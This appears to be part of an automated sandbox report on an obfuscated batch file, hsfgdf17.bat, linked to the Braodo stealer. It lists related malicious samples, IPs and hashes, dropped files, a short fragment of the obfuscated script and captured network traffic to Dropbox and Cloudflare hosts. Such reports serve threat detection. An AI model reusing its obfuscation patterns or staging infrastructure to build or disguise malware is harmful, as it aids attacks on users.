                                                                                                                                                                                                                  kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  sldkjgsdGarDe3.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  jhsdfggga13.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  Garsdgwqa13de.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  hngarm13de02.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnkGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  garsukhjdf11.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnkGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  nbavdfasfGarminde.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  www-env.dropbox-dns.comQhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.65.18
                                                                                                                                                                                                                  hnsjdghf18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.65.18
                                                                                                                                                                                                                  kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  sldkjgsdGarDe3.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  jhsdfggga13.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  Garsdgwqa13de.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  https://t.ly/2PGC5Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18

                                                                                                                                                                                                                  ASNs

                                                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                  CLOUDFLARENETUSRECOUVREMENT -FACTURER1184521.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 172.64.41.3
                                                                                                                                                                                                                  QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 172.64.41.3
                                                                                                                                                                                                                  CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 172.64.41.3
                                                                                                                                                                                                                  xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 172.64.41.3
                                                                                                                                                                                                                  mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                  • 1.8.182.26
                                                                                                                                                                                                                  StGx54oFh6.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                                  • 104.21.78.102
                                                                                                                                                                                                                  https://nicholaspackaging.businesslawcloud.com/mTlFMGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                  • 104.18.11.207
                                                                                                                                                                                                                  fAatfRnCZ5.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 104.21.21.198
                                                                                                                                                                                                                  1AqzGcCKey.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                                  • 104.21.78.102
                                                                                                                                                                                                                  http://efaktura.dhlecommerce.plGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 104.18.86.42
                                                                                                                                                                                                                  DROPBOXUSQhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.15
                                                                                                                                                                                                                  CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.4.18
                                                                                                                                                                                                                  xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.15
                                                                                                                                                                                                                  RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.21.1
                                                                                                                                                                                                                  hnsjdghf18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.65.18
                                                                                                                                                                                                                  kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  loligang.mips.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                  • 162.125.113.170
                                                                                                                                                                                                                  sldkjgsdGarDe3.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  jhsdfggga13.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  Garsdgwqa13de.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 162.125.69.18

                                                                                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                  3b5074b1b5d032e5620f69f9f700ff0eQhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  g1.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  Scam_Transaction_of_7350_BDT.pdf.lnk.d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  LbtytfWpvx.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  YinLHGpoX4.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  raEyjKggAf.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  gCXzb0K8Ci.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78
                                                                                                                                                                                                                  H2PspQWoHE.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  • 162.125.69.18
                                                                                                                                                                                                                  • 172.65.251.78

                                                                                                                                                                                                                  Dropped Files

                                                                                                                                                                                                                  ⊘No context

                                                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):64
                                                                                                                                                                                                                  Entropy (8bit):0.6599547231656377
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:NlllulsX:NllU
                                                                                                                                                                                                                  MD5:D2637C8F4EDAC8432FBA883F876F2877
                                                                                                                                                                                                                  SHA1:DFACC5EF2B3B291AAF81611630F4B628ABD4437F
                                                                                                                                                                                                                  SHA-256:6BF5C68C441BA426C3B242EC75A4E1F507B01EBEA00DA24304CE30BB21A21D67
                                                                                                                                                                                                                  SHA-512:91928886B00F9E4CB9C167D5697DAC6B5DFF7AEC6EA5C4E80EEEDDF78E2518C6D648BE84417BCA73CD9CBB46C072296E4E68825A59734D333EBD443FF0A1DCFB
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:@...e...........................................................

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5kfey244.vv0.ps1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cnjg0jk5.xce.ps1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dorsx3b5.axy.psm1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fd0qb5ph.z4h.ps1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfvaqpqo.uxo.ps1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltt2qsxh.tp3.psm1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0knsexs.qg0.psm1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogpeyk2a.jp5.psm1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_svgjojk3.t3b.ps1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tprgfyvo.rid.psm1

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                  C:\Users\user\Desktop\tmp

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):14
                                                                                                                                                                                                                  Entropy (8bit):3.521640636343319
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:Mrv:gv
                                                                                                                                                                                                                  MD5:CE585C6BA32AC17652D2345118536F9C
                                                                                                                                                                                                                  SHA1:BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
                                                                                                                                                                                                                  SHA-256:589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
                                                                                                                                                                                                                  SHA-512:D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:ECHO is off...

                                                                                                                                                                                                                  \Device\Null

                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                  Process:C:\Windows\System32\find.exe
                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                  Size (bytes):36
                                                                                                                                                                                                                  Entropy (8bit):3.8956388075276664
                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                  SSDEEP:3:gOmAe9qQn:xm/
                                                                                                                                                                                                                  MD5:89D484A82D15549C8F4BF2B4D4F1E924
                                                                                                                                                                                                                  SHA1:58F49E997A58A17C2902E08026BAC2DD16A34B1B
                                                                                                                                                                                                                  SHA-256:040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
                                                                                                                                                                                                                  SHA-512:C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                  Preview:FIND: Parameter format not correct..

                                                                                                                                                                                                                  Static File Info

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  File type:Unicode text, UTF-16, little-endian text, with very long lines (16963), with no line terminators
                                                                                                                                                                                                                  Entropy (8bit):5.6140704568875925
                                                                                                                                                                                                                  TrID:
                                                                                                                                                                                                                  • Text - UTF-16 (LE) encoded (2002/1) 66.67%
                                                                                                                                                                                                                  • MP3 audio (1001/1) 33.33%
                                                                                                                                                                                                                  File name:hsfgdf17.bat
                                                                                                                                                                                                                  File size:33'929 bytes
                                                                                                                                                                                                                  MD5:06959abf21b803443fd7e3e30d60a44a
                                                                                                                                                                                                                  SHA1:0d8090a1e9758571fa258cae3d23fb278d6401af
                                                                                                                                                                                                                  SHA256:55da73476956541558294fb3028f560b7ace6f6df3e6a2c9a409306c424235d5
                                                                                                                                                                                                                  SHA512:c1fe0b97fcea7d3180ba91f00127859b6073c1417c3f85e3855957aacb2d64a7b3c0f53187383e22f689fa689dc618a17e69defcf09be9d11343fef90428ec71
                                                                                                                                                                                                                  SSDEEP:768:bh1hxsl+dMFUT/XWcU+KXZXwCph7jHq7c4UV6Oi:qU6cCJW7DP
                                                                                                                                                                                                                  TLSH:87E2C0AA0263BB7F24C3BC2092A674073196BDBD743F401B96E6B4ED6F815BDC621531
                                                                                                                                                                                                                  File Content Preview:....>nul 2>&1 &cls.; ;@@e%...........^......%%..........^......%c%........^.........%^ho of%.....^...........%%...^...............%^f&F^%...(......_...)......^(......_...)......(......_...)...(........)(.........)(.........)%o%...(......_...)......(......

                                                                                                                                                                                                                  File Icon

                                                                                                                                                                                                                  Icon Hash:9686878b929a9886

                                                                                                                                                                                                                  Network Behavior

                                                                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                                                                  TCP Packets

                                                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.677449942 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.677550077 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.677644014 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.686266899 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.686300039 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.225218058 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.225502014 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.253492117 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.253554106 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.253906012 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.297858953 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.309211016 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:25.351335049 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:26.370332003 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:26.370409012 CET44349704162.125.69.18192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:26.370451927 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:26.370496035 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:26.378504992 CET49704443192.168.2.5162.125.69.18
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.550738096 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.550791025 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.551089048 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.553745985 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.553761959 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.780545950 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.780744076 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.791464090 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.791486025 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.791861057 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.828002930 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:32.871337891 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.324947119 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.324999094 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.325098038 CET44349718172.65.251.78192.168.2.5
